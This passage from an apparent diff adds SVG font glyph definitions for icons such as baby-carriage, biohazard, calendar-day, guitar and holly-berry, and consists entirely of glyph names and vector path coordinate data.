-28.4004c52.6006 -37 124.101 -37 176.801 0l40.5996 28.5c18.0996 12.6006 43 8.2998 55.7002 -9.7998z" /> + <glyph glyph-name="baby-carriage" unicode="" +d="M144.8 431l111.2 -175h-256c0 74 35.2998 140.1 90.7998 184.4c16.7998 13.3994 42.7002 8.39941 54 -9.40039zM496 352c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-48v-64c0 -50.5996 -23 -96.4004 -60.2998 -130.7 +c34.5996 -8.89941 60.2998 -40 60.2998 -77.2998c0 -44.2002 -35.7998 -80 -80 -80s-80 35.7998 -80 80c0 8.90039 1.7002 17.2002 4.40039 25.2002c-21.5 -5.90039 -44.6006 -9.2002 -68.4004 -9.2002s-46.7998 3.2998 -68.4004 9.2002 +c2.60059 -8 4.40039 -16.2998 4.40039 -25.2002c0 -44.2002 -35.7998 -80 -80 -80s-80 35.7998 -80 80c0 37.2998 25.7002 68.4004 60.2998 77.2998c-37.2998 34.2998 -60.2998 80.1006 -60.2998 130.7h384v64c0 35.2998 28.7002 64 64 64h48zM80 -16 +c17.5996 0 32 14.4004 32 32s-14.4004 32 -32 32s-32 -14.4004 -32 -32s14.4004 -32 32 -32zM400 16c0 17.5996 -14.4004 32 -32 32s-32 -14.4004 -32 -32s14.4004 -32 32 -32s32 14.4004 32 32z" /> + <glyph glyph-name="biohazard" unicode="" horiz-adv-x="576" +d="M287.9 336c-18.5 0 -36 -3.7998 -52.5 -9.5c-13.3008 10.2998 -23.6006 24.2998 -29.5 40.7002c25.1992 10.8994 53 16.8994 82.0996 16.8994c29.2002 0 57 -6.09961 82.2002 -17c-5.90039 -16.3994 -16.2002 -30.3994 -29.5 -40.6992 +c-16.6006 5.7998 -34.2002 9.59961 -52.7998 9.59961zM163.6 9.2998c-47.5 35.5 -79.1992 90.7002 -83.2998 153.5c7.2998 2.10059 14.9004 3.10059 22.5 3.10059c9.2002 0 17.9004 -1.80078 26.4004 -4.60059c4.09961 -44.2998 26 -83.2002 58.8994 -109.6 +c-4.09961 -16 -12.5 -30.6006 -24.5 -42.4004zM387.8 51.9004c32.7002 26.3994 54.6006 65.0996 58.7002 109.3c8.59961 2.7998 17.4004 4.7002 26.5996 4.7002c7.5 0 15 -1 22.2002 -3c-3.89941 -62.8008 -35.5996 -118 -83 -153.5c-12 11.7998 -20.3994 26.5 -24.5 42.5z +M501.3 256.9c34.6006 -20.4004 61 -53.3008 74.1006 -92.4004c1.2998 -3.7002 -0.200195 -7.7998 -3.5 -9.7998c-3.30078 -2 -7.5 -1.2998 -10 1.59961c-9.40039 10.7998 -19 19 -29.2002 25.1006c-57.2998 33.8994 -130.8 13.6992 -163.9 -45 +c-33.0996 -58.7002 -13.3994 -134 43.9004 -167.9c10.2002 -6.09961 21.8994 -10.5 35.7998 -13.4004c3.7998 -0.799805 6.40039 -4.19922 6.40039 -8.09961c-0.100586 -4 -2.7002 -7.2998 -6.5 -8c-39.7002 -7.7998 -80.6006 -0.799805 -115.2 19.7002 +c-18 10.5996 -32.9004 24.5 -45.2998 40.0996c-12.4004 -15.5996 -27.3008 -29.5 -45.3008 -40.0996c-34.5996 -20.5 -75.5 -27.5 -115.199 -19.7002c-3.80078 0.700195 -6.40039 4 -6.5 8c0 3.90039 2.69922 7.2998 6.39941 8.09961 +c13.7998 3 25.6006 7.30078 35.7998 13.4004c57.3008 33.9004 77 109.2 43.9004 167.9c-33.0996 58.6992 -106.6 78.8994 -163.9 45c-10.1992 -6 -19.7998 -14.3008 -29.1992 -25.1006c-2.5 -2.89941 -6.7002 -3.59961 -10 -1.59961 +c-3.30078 2.09961 -4.80078 6.09961 -3.5 9.7998c13.2998 39.0996 39.6992 71.9004 74.2998 92.4004c17.5996 10.3994 36.3994 16.5996 55.2998 19.8994c-6.09961 17.7002 -10 36.4004 -10 56.2002c0 41 14.5996 80.7998 41 112.2c2.5 3 6.59961 3.7002 10 1.7998 +c3.2998 -1.90039 4.7998 -6 3.59961 -9.7002c-4.39941 -13.7998 -6.59961 -26.3994 -6.59961 -38.5c0 -67.7998 53.7998 -122.899 120 -122.899s120 55.0996 120 122.899c0 12.2002 -2.09961 24.7002 -6.59961 38.5c-1.2002 3.7002 0.299805 7.7998 3.59961 9.7002 +c3.40039 1.90039 7.5 1.2002 10 -1.7998c26.5 -31.4004 41 -71.2002 41 -112.2c0 -19.7998 -4 -38.5 -10 -56.2002c19 -3.2998 37.7002 -9.5 55.2998 -19.8994zM287.9 127.9c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48z" /> + <glyph glyph-name="blog" unicode="" +d="M172.2 221.2c75.5 -15 129.899 -89.2998 112.5 -172.2c-11.4004 -54.2998 -55.2998 -98.2998 -109.7 -109.7c-92.9004 -19.5 -175 51.2002 -175 140.7v248c0 13.2998 10.7002 24 24 24h48c13.2998 0 24 -10.7002 24 -24v-248c0 -26.5 21.5 -48 48 -48s48 21.5 48 48 +c0 20.5996 -13.0996 38.2002 -31.2998 45c-9.60059 3.59961 -16.7002 11.7998 -16.7002 22v50.4004c0 14.8994 13.5996 26.6992 28.2002 23.7998zM209 448c163.2 -8.59961 294.4 -139.8 302.9 -303c0.5 -9.2002 -6.80078 -17 -16 -17h-32.1006 +c-8.39941 0 -15.3994 6.59961 -15.8994 15c-7.5 129.5 -111.5 234.5 -240.9 241.5c-8.40039 0.400391 -15 7.40039 -15 15.9004v31.5996c0 9.2002 7.7998 16.5 17 16zM209.3 352c110.101 -8.5 198.2 -96.5996 206.601 -206.7 +c0.699219 -9.2998 -6.80078 -17.2998 -16.1006 -17.2998h-32.2002c-8.2998 0 -15.0996 6.40039 -15.8994 14.7002c-6.90039 77 -68.1006 138.899 -144.9 145.2c-8.2998 0.599609 -14.7998 7.5 -14.7998 15.8994v32.1006c0 9.39941 8 16.7998 17.2998 16.0996z" /> + <glyph glyph-name="calendar-day" unicode="" horiz-adv-x="448" +d="M0 -16v272h448v-272c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48zM64 176v-96c0 -8.7998 7.2002 -16 16 -16h96c8.7998 0 16 7.2002 16 16v96c0 8.7998 -7.2002 16 -16 16h-96c-8.7998 0 -16 -7.2002 -16 -16zM400 384c26.5 0 48 -21.5 48 -48v-48h-448v48 +c0 26.5 21.5 48 48 48h48v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h128v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h48z" /> + <glyph glyph-name="calendar-week" unicode="" horiz-adv-x="448" +d="M0 -16v272h448v-272c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48zM64 176v-64c0 -8.7998 7.2002 -16 16 -16h288c8.7998 0 16 7.2002 16 16v64c0 8.7998 -7.2002 16 -16 16h-288c-8.7998 0 -16 -7.2002 -16 -16zM400 384c26.5 0 48 -21.5 48 -48v-48h-448 +v48c0 26.5 21.5 48 48 48h48v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h128v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h48z" /> + <glyph glyph-name="candy-cane" unicode="" +d="M497.5 356c35.7002 -75.5 2.7998 -166.1 -68.9004 -209l-347.3 -206.5c-5.2002 -3 -10.7998 -4.5 -16.3994 -4.5c-10.9004 0 -21.5 5.59961 -27.5 15.5996l-32.8008 54.9004c-9.09961 15.2002 -4.19922 34.7998 11 43.9004l353.601 210.1 +c15.0996 9.09961 20.0996 28.7998 11 43.9004c-6 10 -16.6006 15.5996 -27.5 15.5996c-5.60059 0 -11.2998 -1.40039 -16.4004 -4.5l-27.5 -16.4004c-5.2002 -3 -10.7998 -4.5 -16.3994 -4.5c-10.9004 0 -21.5 5.60059 -27.5 15.6006l-32.8008 54.8994 +c-9.09961 15.2002 -4.19922 34.8008 11 43.9004l27.5 16.4004c25.6006 15.2998 53.9004 22.5996 81.8008 22.5996c59.3994 0 117.199 -33.0996 145.1 -92zM319.8 343c8.5 5.09961 18.1006 7.59961 27.9004 8.40039l-20.6006 61.7998 +c-10.5 -2.10059 -20.5996 -5.5 -30.2998 -10.2002l20.5 -61.5zM145.9 16.2002l30.7998 18.2998l-60.5 38.5l-30.7998 -18.2998zM253.4 80.0996l30.7998 18.3008l-60.5 38.5l-30.7998 -18.3008zM364.3 146l30.7998 18.2998l-60.5 38.5l-30.7998 -18.2998zM384.7 343.3 +c9.2002 -5.39941 17.2002 -13 22.8994 -22.2998l45.7002 45.7002c-6.59961 8.5 -14.2002 16.0996 -22.5996 22.5996zM466.8 235.5c4.60059 9.7998 8 20 10.1006 30.4004l-60.4004 20.0996c-0.0996094 -4.5 -0.700195 -9.09961 -1.7998 -13.5996 +c-1.60059 -6.2002 -4.2002 -11.8008 -7.40039 -17.1006z" /> + <glyph glyph-name="carrot" unicode="" +d="M298.2 291.4c61.7002 -30.1006 87.2998 -104.5 57.2002 -166.2c-12.6006 -25.7998 -33.1006 -45.4004 -57.1006 -57.1006l-102 -49.7998l-57 57c-6.2002 6.2002 -16.2998 6.2002 -22.5996 0s-6.2998 -16.3994 0 -22.5996l49.2002 -49.2002l-133.601 -65.2002 +c-11.0996 -5.39941 -24.5996 -0.799805 -30 10.2998c-3.09961 6.40039 -2.89941 13.7002 0 19.7002l128.101 262.7l50.1992 -50.2002c3.10059 -3.09961 7.2002 -4.7002 11.3008 -4.7002c4.09961 0 8.19922 1.60059 11.2998 4.7002c6.2998 6.2002 6.2998 16.2998 0 22.6006 +l-55.2002 55.1992c35.7002 43.3008 97.5 58.5 150.2 32.8008zM390.3 326.3c40.7002 19.5 88.7998 9.40039 121.7 -30.2998c-41.5996 -50.2998 -107.5 -52.5 -151.9 -7.90039l-8 8c-44.5996 44.4004 -42.3994 110.2 7.90039 151.9 +c39.7002 -32.9004 49.7998 -81 30.2998 -121.7z" /> + <glyph glyph-name="cash-register" unicode="" +d="M511.1 69.2002c0.600586 -3.5 0.900391 -7 0.800781 -10.5v-90.7002c0 -17.7002 -14.3008 -32 -32 -32h-448c-17.7002 0 -32 14.2998 -32 32v90.7998c0 3.5 0.299805 7 0.899414 10.5l26.7002 160c2.59961 15.4004 16 26.7002 31.5996 26.7002h84.9004v64h-96 +c-8.7998 0 -16 7.2002 -16 16v96c0 8.7998 7.2002 16 16 16h256c8.7998 0 16 -7.2002 16 -16v-96.0996c0 -8.80078 -7.2002 -16 -16 -16h-96v-64h244.8c15.7002 0 29 -11.3008 31.6006 -26.7002zM280 200v-16c0 -8.7998 7.2002 -16 16 -16h16c8.7998 0 16 7.2002 16 16v16 +c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16zM248 136c-8.7998 0 -16 -7.2002 -16 -16v-16c0 -8.7998 7.2002 -16 16 -16h16c8.7998 0 16 7.2002 16 16v16c0 8.7998 -7.2002 16 -16 16h-16zM216 216h-16c-8.7998 0 -16 -7.2002 -16 -16v-16 +c0 -8.7998 7.2002 -16 16 -16h16c8.7998 0 16 7.2002 16 16v16c0 8.7998 -7.2002 16 -16 16zM80 368h192v32h-192v-32zM120 168c8.7998 0 16 7.2002 16 16v16c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16v-16c0 -8.7998 7.2002 -16 16 -16h16zM136 104 +c0 -8.7998 7.2002 -16 16 -16h16c8.7998 0 16 7.2002 16 16v16c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16v-16zM352 -8v16c0 4.40039 -3.59961 8 -8 8h-176c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h176c4.40039 0 8 3.59961 8 8 +zM376 104v16c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16v-16c0 -8.7998 7.2002 -16 16 -16h16c8.7998 0 16 7.2002 16 16zM424 184v16c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16v-16c0 -8.7998 7.2002 -16 16 -16h16 +c8.7998 0 16 7.2002 16 16z" /> + <glyph glyph-name="compress-arrows-alt" unicode="" +d="M200 160c13.2998 0 24 -10.7002 24 -24v-112c0 -21.4004 -25.7998 -32.0996 -40.9004 -17l-31.0996 33l-99.2998 -99.2998c-6.2002 -6.2002 -16.4004 -6.2002 -22.6006 0l-25.3994 25.3994c-6.2002 6.2002 -6.2002 16.4004 0 22.6006l99.2002 99.2998l-32.9004 31 +c-15.0996 15.2002 -4.40039 41 17 41h112zM312 224c-13.2998 0 -24 10.7002 -24 24v112c0 21.4004 25.7998 32.0996 40.9004 17l31.0996 -33l99.2998 99.2998c6.2002 6.2002 16.4004 6.2002 22.6006 0l25.3994 -25.3994c6.2002 -6.2002 6.2002 -16.4004 0 -22.6006 +l-99.2998 -99.2998l33 -31c15.0996 -15.0996 4.40039 -41 -17 -41h-112zM408 88l99.2998 -99.4004c6.2002 -6.19922 6.2002 -16.3994 0 -22.5996l-25.3994 -25.4004c-6.2002 -6.19922 -16.4004 -6.19922 -22.6006 0l-99.2998 99.3008l-31 -32.9004 +c-15.0996 -15.0996 -41 -4.40039 -41 17v112c0 13.2998 10.7002 24 24 24h112c21.4004 0 32.0996 -25.7998 17 -40.9004zM183 376.9c15.0996 15.0996 41 4.39941 41 -16.9004v-112c0 -13.2998 -10.7002 -24 -24 -24h-112c-21.4004 0 -32.0996 25.7998 -17 40.9004 +l33 31.0996l-99.2998 99.2998c-6.2002 6.2002 -6.2002 16.4004 0 22.6006l25.3994 25.3994c6.2002 6.2002 16.4004 6.2002 22.6006 0l99.2998 -99.2998z" /> + <glyph glyph-name="dumpster" unicode="" horiz-adv-x="576" +d="M560 288h-97.2998l-25.6006 128h98.9004c7.2998 0 13.7002 -5 15.5 -12.0996l24 -96c2.5 -10.1006 -5.09961 -19.9004 -15.5 -19.9004zM272 416v-128h-126.1l25.5996 128h100.5zM404.5 416l25.5996 -128h-126.1v128h100.5zM16 288c-10.4004 0 -18 9.7998 -15.5 19.9004 +l24 96c1.7998 7.09961 8.2002 12.0996 15.5 12.0996h98.9004l-25.6006 -128h-97.2998zM560 224c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-28l-20 -160v-16c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16h-320v-16 +c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16l-20 160h-28c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h20l-4 32h512l-4 -32h20z" /> + <glyph glyph-name="dumpster-fire" unicode="" horiz-adv-x="640" +d="M418.7 343.9c-19.7002 -17.6006 -37.7002 -36.5 -53.9004 -55.8008h-60.7998v128h100.5l14.4004 -72zM272 416v-128h-126.1l25.5996 128h100.5zM461.3 343.9l-11.8994 10.5996l-12.3008 61.5h98.9004c7.2998 0 13.7002 -5 15.4004 -12.0996l24 -96 +c0.199219 -0.800781 -0.100586 -1.5 0 -2.30078c-1 1 -2 2.2002 -3.10059 3.10059l-21.2998 19l-21.2998 -19c-5.90039 -5.2002 -11.6006 -10.7002 -17.2998 -16.2998c-15.6006 17.7998 -32.9004 35.1992 -51.1006 51.5zM16 288c-10.4004 0 -18 9.7998 -15.5 19.9004l24 96 +c1.7998 7.09961 8.2002 12.0996 15.5 12.0996h98.9004l-25.6006 -128h-97.2998zM340.6 256c-32.6992 -46.7002 -52.5996 -93.7002 -52.5996 -129.6c0 -48.5 18.5996 -92.7002 48.7998 -126.4h-208.8v-16c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16 +l-20 160h-28c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h20l-4 32h308.6zM551.1 284.8c51.8008 -46.2002 88.9004 -121.8 88.8008 -158.399c0 -87.5 -71.6006 -158.4 -160 -158.4c-88.4004 0 -160 70.9004 -160 158.4c0 49.2998 49.7998 130.899 120 193.6 +c27.3994 -24.4004 51.5 -50.5996 71 -76.4004c11.8994 14 25.2998 27.9004 40.1992 41.2002zM532.5 55.4004c33.4004 24.1992 41.2002 71.0996 22.5996 107.8c-2.2998 4.5 -4.89941 9.2002 -7.69922 14l-39.8008 -47s-62.3994 82.5 -67.0996 88.0996 +c-32.9004 -40.8994 -49.4004 -64.7998 -49.4004 -91.8994c0 -54.5 39.9004 -88 88.9004 -88c19.5996 0 37.7998 6.2998 52.5 17z" /> + <glyph glyph-name="ethernet" unicode="" +d="M496 256c8.7998 0 16 -7.2002 16 -16v-224c0 -8.7998 -7.2002 -16 -16 -16h-80v128h-32v-128h-64v128h-32v-128h-64v128h-32v-128h-64v128h-32v-128h-80c-8.7998 0 -16 7.2002 -16 16v224c0 8.7998 7.2002 16 16 16h48v48c0 8.7998 7.2002 16 16 16h48v48 +c0 8.7998 7.2002 16 16 16h224c8.7998 0 16 -7.2002 16 -16v-48h48c8.7998 0 16 -7.2002 16 -16v-48h48z" /> + <glyph glyph-name="gifts" unicode="" horiz-adv-x="640" +d="M240.6 253.9c-27.7998 -6.90039 -48.5996 -32 -48.5996 -61.9004v-224c0 -11.7002 3.40039 -22.5 8.90039 -32h-168.9c-17.7002 0 -32 14.2998 -32 32v352c0 17.7002 14.2998 32 32 32h29.4004l-30.7002 22c-7.2002 5.09961 -8.7998 15.0996 -3.7002 22.2998l9.2998 13 +c5.10059 7.2002 15.1006 8.7998 22.2998 3.7002l32.1006 -22.7998l-11.5 30.5996c-3.2002 8.2002 1 17.5 9.2998 20.6006l15 5.59961c8.2998 3.09961 17.5 -1.09961 20.5996 -9.40039l19.9004 -53.0996l19.9004 53c3.09961 8.2998 12.2998 12.5 20.5996 9.40039l15 -5.60059 +c8.2998 -3.09961 12.5 -12.2998 9.40039 -20.5996l-11.5 -30.6006l32 22.9004c7.19922 5.2002 17.1992 3.5 22.2998 -3.7002l9.2998 -13c5.2002 -7.2002 3.5 -17.2002 -3.7002 -22.2998l-30.7002 -22h29.4004c12.7002 0 23.4004 -7.5 28.5996 -18.2998 +c-26.6992 -18.6006 -42.0996 -49 -44 -79.7998zM224 -32v96h192v-128h-160c-17.7002 0 -32 14.2998 -32 32zM448 -64v128h192v-96c0 -17.7002 -14.2998 -32 -32 -32h-160zM608 224c17.7002 0 32 -14.2998 32 -32v-96h-192v128h-15.2998l-0.700195 0.200195 +l-0.700195 -0.200195h-15.2998v-128h-192v96c0 17.7002 14.2998 32 32 32h20.4004c-2.7002 7.59961 -4.40039 15.5 -4.40039 23.7998c0 35.5 27 72.2002 72.0996 72.2002c48 0 75.8008 -47.7002 87.9004 -75.2998c12 27.5996 39.7998 75.2998 87.9004 75.2998 +c45.0996 0 72.0996 -36.7002 72.0996 -72.2002c0 -8.2998 -1.7998 -16.2002 -4.40039 -23.7998h20.4004zM336 224h52.5996c-8.89941 20.5996 -25.7998 48 -44.5 48c-17.6992 0 -24.0996 -14.5 -24.0996 -24.2002c0 -5.2002 1.5 -12.5996 8.7998 -19 +c2.10059 -1.7998 4.5 -3.39941 7.2002 -4.7998zM535.2 228.8c7.2998 6.40039 8.7998 13.7998 8.7998 19c0 9.7002 -6.40039 24.2002 -24.0996 24.2002c-18.7002 0 -35.7002 -27.7002 -44.5 -48h52.5996c2.7002 1.40039 5.09961 3 7.2002 4.7998z" /> + <glyph glyph-name="glass-cheers" unicode="" horiz-adv-x="640" +d="M639.4 14.4004c1.69922 -4.10059 -0.300781 -8.7002 -4.30078 -10.4004l-162.399 -67.4004c-4 -1.69922 -8.7002 0.200195 -10.4004 4.30078c-8.5 20.3994 1.2002 43.7998 21.6006 52.2998l22.0996 9.2002l-39.2998 103.6 +c-4.40039 -0.5 -8.7998 -1.2998 -13.1006 -1.2998c-51.6992 0 -99.3994 33.0996 -113.399 85.2998l-20.2002 75.4004l-20.2002 -75.4004c-14 -52.2002 -61.7002 -85.2998 -113.399 -85.2998c-4.30078 0 -8.7002 0.799805 -13.1006 1.2998l-39.3994 -103.6l22.0996 -9.2002 +c20.4004 -8.5 30 -31.9004 21.5996 -52.2998c-1.69922 -4.10059 -6.2998 -6 -10.3994 -4.30078l-162.3 67.4004c-4.10059 1.7002 -6 6.40039 -4.30078 10.5c8.5 20.4004 31.8008 30.0996 52.2002 21.5996l22.1006 -9.19922l38.6992 101.899 +c-47.8994 34.9004 -64.6992 100.2 -34.5 152.7l86.6006 150.5c8 13.9004 25.0996 19.7998 40 13.5996l114.3 -47.3994l114.3 47.3994c14.9004 6.10059 32 0.300781 40 -13.5996l86.6006 -150.5c30.2998 -52.5 13.3994 -117.8 -34.5 -152.8l38.6992 -101.9l22.1006 9.2002 +c20.3994 8.5 43.7998 -1.2002 52.2002 -21.5996zM275.9 285.9l18.8994 70.6992l-94.5 39.2002l-36.5 -63.3994zM364.1 285.9l112.101 46.5l-36.5 63.3994l-94.5 -39.2002z" /> + <glyph glyph-name="glass-whiskey" unicode="" +d="M480 416c19.5 0 34.4004 -17.2002 31.7002 -36.5l-55.6006 -356.5c-4.5 -31.5 -31.5996 -54.9004 -63.3994 -54.9004h-273c-31.9004 0 -58.9004 23.4004 -63.4004 54.9004l-56 356.5c-2.7002 19.2998 12.2002 36.5 31.7002 36.5h448zM442.6 352h-373.199l30.1992 -192 +h313z" /> + <glyph glyph-name="globe-europe" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM448 192c0 110.3 -89.7002 200 -200.2 200c-1.89941 0 -3.7998 -0.200195 -5.7002 -0.299805l-28.8994 -21.7002c-2 -1.5 -3.2002 -3.90039 -3.2002 -6.40039v-20 +c0 -4.39941 3.59961 -8 8 -8h16c4.40039 0 8 3.60059 8 8v8l16 16h20.7002c6.2002 0 11.2998 -5.09961 11.2998 -11.2998c0 -3 -1.2002 -5.89941 -3.2998 -8l-26.7998 -26.7998c-1.2002 -1.2002 -2.7002 -2.09961 -4.40039 -2.7002l-40 -13.2998 +c-3.2998 -1.09961 -5.5 -4.2002 -5.5 -7.59961c0 -6.60059 -2.59961 -12.9004 -7.2002 -17.5l-20.0996 -20.1006c-3 -3 -4.7002 -7.09961 -4.7002 -11.2998v-25.2998c0 -8.7998 7.2002 -16 16 -16h22.0996c6.10059 0 11.6006 3.39941 14.3008 8.7998l9.39941 18.7002 +c1.40039 2.7002 4.2002 4.39941 7.2002 4.39941h3.09961c4.40039 0 8 -3.59961 8 -8c0 -4.39941 3.60059 -8 8 -8h16c4.40039 0 8 3.60059 8 8v2.2002c0 3.5 2.2002 6.5 5.5 7.60059l31.6006 10.5c6.5 2.19922 10.8994 8.2998 10.8994 15.1992v4.5 +c0 8.80078 7.2002 16 16 16h36.7002c6.2002 0 11.2998 -5.09961 11.2998 -11.2998v-9.39941c0 -6.2002 -5.09961 -11.3008 -11.2998 -11.3008h-32c-3 0 -5.89941 -1.19922 -8 -3.2998l-9.39941 -9.39941c-2.10059 -2.10059 -3.30078 -5 -3.30078 -8 +c0 -6.2002 5.10059 -11.3008 11.3008 -11.3008h16c3 0 5.89941 -1.19922 8 -3.2998l9.39941 -9.39941c2.10059 -2.10059 3.2998 -5 3.2998 -8v-8.7002l-12.5 -12.5c-4.59961 -4.60059 -4.59961 -12.1006 -0.0996094 -16.7002l32 -32.5996 +c3 -3.10059 7.09961 -4.80078 11.4004 -4.80078h20.2998c6.89941 20.2002 10.7998 41.9004 10.7998 64.4004zM130.1 298.9c0 -6.2002 5.10059 -11.3008 11.3008 -11.3008h16c3 0 5.89941 1.2002 8 3.30078l9.39941 9.39941c2.10059 2.10059 3.2998 5 3.2998 8v16 +c0 6.2002 -5.09961 11.2998 -11.2998 11.2998c-3 0 -5.89941 -1.19922 -8 -3.2998l-25.3994 -25.3994c-2.10059 -2.10059 -3.30078 -5 -3.30078 -8zM258.1 -7.5c71.1006 3.59961 132.5 44.2002 164.9 103.1h-13.4004c-4.7998 0 -9.5 1.90039 -12.8994 5.30078 +l-17.2998 17.2998c-6 6 -14.1006 9.39941 -22.6006 9.39941h-18.2998l-43.2002 37.1006c-8.2002 7 -18.7002 10.8994 -29.5996 10.8994h-31.2002c-8.2002 0 -16.2998 -2.2998 -23.4004 -6.5l-42.8994 -25.6992c-13.7002 -8.2002 -22.1006 -23 -22.1006 -39v-23.9004 +c0 -14.2998 6.7002 -27.7998 18.2002 -36.4004l22.2002 -16.6992c8.7002 -6.5 24.5996 -11.8008 35.4004 -11.8008h20.1992c8.80078 0 16 -7.19922 16 -16v-7.09961z" /> + <glyph glyph-name="grip-lines" unicode="" +d="M496 160c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-480c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h480zM496 288c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-480c-8.7998 0 -16 7.2002 -16 16v32 +c0 8.7998 7.2002 16 16 16h480z" /> + <glyph glyph-name="grip-lines-vertical" unicode="" horiz-adv-x="256" +d="M96 -48c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v480c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-480zM224 -48c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v480c0 8.7998 7.2002 16 16 16h32 +c8.7998 0 16 -7.2002 16 -16v-480z" /> + <glyph glyph-name="guitar" unicode="" +d="M502.63 409c5.77344 -5.79004 9.34473 -13.7852 9.34473 -22.5996c0 -8.8291 -3.58398 -16.8281 -9.375 -22.6201l-46.3301 -46.3203c-3.82617 -3.83691 -8.53223 -6.78125 -13.7891 -8.53027l-36.4805 -12.1602l-76.2402 -76.2393 +c8.79004 -12.2002 15.7705 -25.5605 19.1602 -40.2002c7.74023 -33.3896 0.870117 -66.8701 -22 -89.75c-9.26367 -9.2207 -20.71 -16.2314 -33.4795 -20.25c-18.54 -6.00977 -32.6709 -23.29 -34.4307 -42.1396c-2.29004 -23.8105 -11.4502 -45.8301 -28.4502 -62.71 +c-45.5596 -45.4805 -127.5 -37.3809 -182.979 18.0693c-55.4805 55.4502 -63.6904 137.45 -18.0498 182.96c16.8799 16.9902 38.9102 26.1699 62.6094 28.4404c18.9404 1.76953 36.1504 15.8994 42.1504 34.46c4.01172 12.7686 11.0195 24.2119 20.2402 33.4697 +c22.8799 22.8799 56.4297 29.7803 89.8799 22c14.5996 -3.39941 27.9395 -10.3799 40.0996 -19.1396l76.2598 76.2598l12.1602 36.5098c1.74902 5.25781 4.69336 9.96387 8.53027 13.79l46.2803 46.3301c5.79199 5.79395 13.8018 9.37988 22.6338 9.37988 +s16.833 -3.58594 22.626 -9.37988zM208 96c26.4922 0 48 21.5078 48 48s-21.5078 48 -48 48s-48 -21.5078 -48 -48s21.5078 -48 48 -48z" /> + <glyph glyph-name="heart-broken" unicode="" +d="M473.7 374.2c48.7002 -49.7998 50.7998 -129.101 7.2998 -182.101l-212.2 -218.699c-7.09961 -7.30078 -18.5996 -7.30078 -25.7002 0l-212.1 218.6c-43.5 53.0996 -41.4004 132.4 7.2998 182.2l2.40039 2.39941c46.2998 47.4004 119 51.8008 170.7 14l28.5996 -86.5 +l-96 -64l144 -144l-48 128l96 64l-34.2998 103.4c51.5996 36.9004 123.6 32.2002 169.6 -14.7998z" /> + <glyph glyph-name="holly-berry" unicode="" horiz-adv-x="448" +d="M144 256c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM256 304c0 26.5 21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48s-48 21.5 -48 48zM224 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48z +M207.8 212.9c-0.399414 -39.8008 7.40039 -78.1006 22.9004 -112.301c4 -8.89941 -2 -19.1992 -11.7002 -20.1992c-15.2002 -1.5 -30.4004 -4.60059 -45.2998 -9.10059c-14.9004 -4.5 -23.7998 -19.8994 -20.2002 -35.0996s8.5 -29.9004 14.7002 -43.7998 +c4 -8.90039 -1.90039 -19.3008 -11.6006 -20.2002c-35.8994 -3.40039 -71.5996 -14.9004 -104.8 -33.9004c-12.3994 -7.09961 -27.5 1.60059 -27.5996 16c-0.100586 38.2002 -8 74.9004 -23 107.7c-4 8.90039 2 19.2002 11.7002 20.2002 +c15.1992 1.5 30.3994 4.59961 45.2998 9.09961c14.8994 4.5 23.7998 19.9004 20.2002 35.1006c-3.60059 15.1992 -8.5 29.8994 -14.7002 43.7998c-4 8.89941 1.89941 19.2998 11.5996 20.2002c37.2998 3.5 74.4004 15.8994 108.7 36.1992 +c10.7002 6.40039 23.9004 -1.2998 23.7998 -13.6992zM435 82.4004c9.7002 -1 15.7998 -11.4004 11.5 -20.1006c-15 -32.7002 -22.7998 -69.5 -23 -107.7c0 -14.3994 -15.0996 -23.0996 -27.5996 -16c-33.2002 19 -68.9004 30.5 -104.801 33.9004 +c-9.69922 0.900391 -15.5996 11.2998 -11.5996 20.2002c6.2002 14 11.0996 28.5996 14.7002 43.7998c3.59961 15.2002 -5.2998 30.5996 -20.2002 35.0996c-4.90039 1.5 -9.90039 2.5 -14.7998 3.7002c5.7998 12.2998 6.2998 26.5 0.599609 38.9004 +c-12.8994 28.2998 -19.7002 60.7002 -19.8994 94c0 1.7002 0.199219 3.2998 0.199219 4.89941c-0.0996094 12.3008 13.1006 20 23.8008 13.7002c34.2998 -20.2998 